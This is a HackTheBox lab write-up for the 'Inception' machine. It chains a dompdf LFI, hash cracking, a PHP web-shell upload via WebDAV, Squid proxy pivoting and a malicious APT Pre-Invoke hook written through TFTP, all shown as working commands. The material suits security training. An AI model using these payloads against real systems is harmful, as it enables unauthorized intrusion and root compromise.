HTB: Inception Writeup
Inception - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Inception |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.10.10.67 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Inception is a challenging Linux box that emphasizes network pivoting, container escape techniques, and creative file access methods. The initial foothold exploits a vulnerable dompdf installation for local file inclusion, leading to WebDAV credentials that enable code execution. SSH access is gained through password reuse but requires pivoting through a Squid proxy. The privilege escalation path reveals the user is actually inside a container, requiring enumeration of the host network and exploitation of TFTP running as root combined with a scheduled apt update cron job to access the true root flag.
TL;DR: dompdf 0.6.0 LFI (CVE-2014-2383) → WebDAV creds → PHP shell → password reuse SSH via Squid proxy → container root → TFTP write + apt.conf.d hook → host root flag
Reconnaissance
Port Scanning
# Initial TCP scannmap -sC -sV -T4 -p- 10.10.10.67Results:
PORT STATE SERVICE VERSION80/tcp open http Apache httpd 2.4.18 ((Ubuntu))3128/tcp open http-proxy Squid http proxy 3.5.12The scan reveals a web server and a Squid proxy. Notably, SSH (port 22) is filtered from external access, suggesting network filtering is in place.
Service Enumeration
HTTP (Port 80)
The Apache web server hosts a basic page. Inspecting the HTML source code reveals a comment referencing /dompdf:
<!-- Still under development, adding here: /dompdf -->Browsing to /dompdf/ reveals an installation of dompdf version 0.6.0, confirmed by accessing /dompdf/VERSION.
Squid Proxy (Port 3128)
The Squid proxy on port 3128 requires no authentication. Configuring proxychains to route through this proxy allows access to internal services:
# Add to /etc/proxychains.conf# http 10.10.10.67 3128
# Scan localhost through the proxyproxychains nmap -sT -Pn 127.0.0.1This reveals SSH running on port 22 internally, but the Squid ACL configuration restricts CONNECT methods to certain destinations.
Vulnerability Assessment
- dompdf 0.6.0 - Vulnerable to Local File Inclusion (CVE-2014-2383, exploit-db 33004)
- Squid proxy misconfiguration - Allows pivoting to internal services
- WebDAV - Potential file upload vector if credentials can be obtained
Initial Foothold
Exploiting dompdf LFI (CVE-2014-2383)
dompdf version 0.6.0 is vulnerable to local file inclusion through the use of PHP stream wrappers. The vulnerability allows reading arbitrary files by base64-encoding them and embedding them in a generated PDF.
# Exploit URL format# http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/passwd
# First, enumerate Apache configurationcurl "http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/apache2/sites-enabled/000-default.conf" -o config.pdfImportant Note: The rendered PDF clips the base64 data visually. To extract the full content:
# Decompress the PDF to access raw content streamsmutool clean -d config.pdf config_clean.pdf
# Extract the base64 string from TJ arrays and decode# (The base64 content is embedded in the PDF's text objects)The Apache configuration file (000-default.conf) reveals:
- WebDAV path:
/webdav_test_inception - Password file location:
/var/www/html/webdav_test_inception/webdav.passwd
Extracting WebDAV Credentials
Using the same LFI technique to read the password file:
# Request the webdav.passwd filecurl "http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/var/www/html/webdav_test_inception/webdav.passwd" -o passwd.pdf
# Extract and decode to get:# webdav_tester:$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0Cracking the Hash
The hash is Apache APR1-MD5 format:
# Create hash fileecho '$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0' > hash.txt
# Crack with johnjohn --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
# Result: babygurl69Credentials: webdav_tester:babygurl69
WebDAV Upload for RCE
WebDAV allows file uploads via the PUT method. We can upload a PHP web shell:
# Create a simple PHP shellcat > shell.php << 'EOF'<?php system($_GET['cmd']); ?>EOF
# Upload via WebDAV using curlcurl -X PUT \ --user "webdav_tester:babygurl69" \ --data-binary @shell.php \ http://10.10.10.67/webdav_test_inception/shell.php
# Verify upload and test RCEcurl "http://10.10.10.67/webdav_test_inception/shell.php?cmd=id"# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)Obtaining SSH Access
Enumeration as www-data reveals WordPress configuration:
# Read wp-config.phpcurl "http://10.10.10.67/webdav_test_inception/shell.php?cmd=cat%20/var/www/html/wordpress_4.8.3/wp-config.php"
# Database credentials found:# DB_PASSWORD: VwPddNh7xMZyDQoByQL4Testing password reuse with the user cobb (found in /etc/passwd):
# Configure proxychains to use Squid# /etc/proxychains.conf:# http 10.10.10.67 3128
# The Squid ACL permits CONNECT to 127.0.0.1:22proxychains ssh cobb@127.0.0.1# Password: VwPddNh7xMZyDQoByQL4Success! SSH access obtained as user cobb.
User Flag
cobb@Inception:~$ cat user.txt<redacted>Privilege Escalation
Initial Root - Container Discovery
Checking sudo privileges:
cobb@Inception:~$ sudo -lUser cobb may run the following commands on Inception: (ALL : ALL) ALL
cobb@Inception:~$ sudo su -root@Inception:~#However, checking the root flag reveals this is not the true root:
root@Inception:~# cat root.txtYou're close! But you're still inside the Matrix...Network enumeration confirms we’re in a container:
root@Inception:~# ip addr# Shows IP: 192.168.0.10
root@Inception:~# ip routedefault via 192.168.0.1 dev ens33# Gateway: 192.168.0.1Host Enumeration
The gateway at 192.168.0.1 is the actual host system. Scanning it from the container:
# Transfer nmap binary or use basic toolsroot@Inception:~# for port in 21 22 23 69 80 443; do timeout 1 bash -c "echo >/dev/tcp/192.168.0.1/$port" 2>/dev/null && echo "$port open"done
# Services found:# 21 (FTP)# 22 (SSH)# 53 (DNS)# 69 (TFTP)FTP Anonymous Access
root@Inception:~# ftp 192.168.0.1# Anonymous login: allowed# Limited file system access, can read some files
ftp> get /etc/default/tftpd-hpaThe TFTP configuration reveals:
TFTP_USERNAME="root"TFTP_DIRECTORY="/"TFTP_OPTIONS="--secure --create"Critical findings:
- TFTP runs as root
- Root directory is
/(full filesystem access) --createflag allows file uploads
Exploiting TFTP + Cron for Root Access
FTP enumeration also reveals /etc/crontab:
ftp> get /etc/crontabThe crontab shows:
*/5 * * * * root apt updateThe host runs apt update as root every 5 minutes. We can exploit this by uploading a malicious APT configuration using TFTP.
Attack Strategy:
- Upload an APT configuration file to
/etc/apt/apt.conf.d/via TFTP - Use
APT::Update::Pre-Invoketo execute arbitrary commands as root - Copy
root.txtto a world-readable location - Download the flag via TFTP
# Create malicious APT configcat > 00pwn << 'EOF'APT::Update::Pre-Invoke {"cp /root/root.txt /tmp/rootflag.txt && chmod 666 /tmp/rootflag.txt"};EOF
# Upload via TFTProot@Inception:~# tftp 192.168.0.1tftp> put 00pwn /etc/apt/apt.conf.d/00pwnSent 123 bytes in 0.1 seconds
# Wait for the cron job to run (up to 5 minutes)# Then download the flagtftp> get /tmp/rootflag.txttftp> quit
root@Inception:~# cat rootflag.txt<redacted>Why this works:
- TFTP running as root with
--createallows arbitrary file writes - APT configuration files in
/etc/apt/apt.conf.d/are processed by apt - The
Pre-Invokedirective executes commands before the update - The cron job automatically triggers our payload as root
Root Flag
<redacted>Attack Chain Summary
Port 80 (Apache 2.4.18) → dompdf 0.6.0 LFI (CVE-2014-2383)→ Read Apache config + WebDAV passwd via php://filter→ Crack APR1 hash (babygurl69)→ WebDAV PUT PHP shell→ RCE as www-data→ Extract wp-config.php DB password→ Password reuse: cobb SSH via Squid proxy (127.0.0.1:22)→ User flag→ Sudo to root (container)→ Discover container environment (192.168.0.10)→ Enumerate host (192.168.0.1)→ FTP anonymous + TFTP enumeration→ TFTP upload malicious apt.conf.d hook→ Cron triggers apt update as root→ Root flag via TFTPTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service discovery |
proxychains | Pivoting through Squid proxy |
curl | HTTP requests, WebDAV file upload |
mutool | PDF decompression for LFI data extraction |
john | Password hash cracking |
tftp | File transfer to/from host system |
ftp | Anonymous file enumeration |
Key Learnings
Techniques Practiced
- Exploiting dompdf LFI with PHP stream wrappers (php://filter)
- Extracting base64 data from PDF content streams when visually clipped
- Cracking Apache APR1-MD5 hashes
- WebDAV exploitation via PUT method for file upload
- Network pivoting through Squid proxy with ACL restrictions
- Container detection and escape techniques
- TFTP exploitation with root privileges and —create flag
- APT pre-invoke hooks for command execution
- Cron job timing attacks
Lessons Learned
-
PDF rendering is not data extraction - When exploiting LFI through dompdf, the base64 data may be clipped in the rendered output. Always decompress the PDF and extract from the raw content streams (TJ arrays) to get complete data.
-
Containers are not the end - Achieving root in a container is only the beginning. Always check network interfaces, routing tables, and look for evidence of containerization (IP addresses in private ranges, limited processes, absence of expected files).
-
TFTP with —create is dangerous - When TFTP runs as root with the
--createflag and a directory of/, it provides arbitrary file write capabilities across the entire filesystem. This can be leveraged to modify system configurations. -
APT configuration is executable - Files in
/etc/apt/apt.conf.d/support directives likePre-InvokeandPost-Invokethat execute arbitrary commands. Combined with scheduledapt updatejobs, this provides a reliable privilege escalation path. -
Proxy ACLs can be bypassed - Squid’s ACL restricting
CONNECTto external IPs can often be bypassed by connecting to localhost or internal IPs, as these may be in separate ACL rules with different permissions. -
Password reuse is prevalent - Database passwords are frequently reused for system accounts, especially in development or testing environments. Always test discovered credentials against SSH and other services.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
This writeup drew explanatory context from the official HackTheBox writeup by Alexander Reid (Arrexel), document D18.100.02, dated 13th April 2018.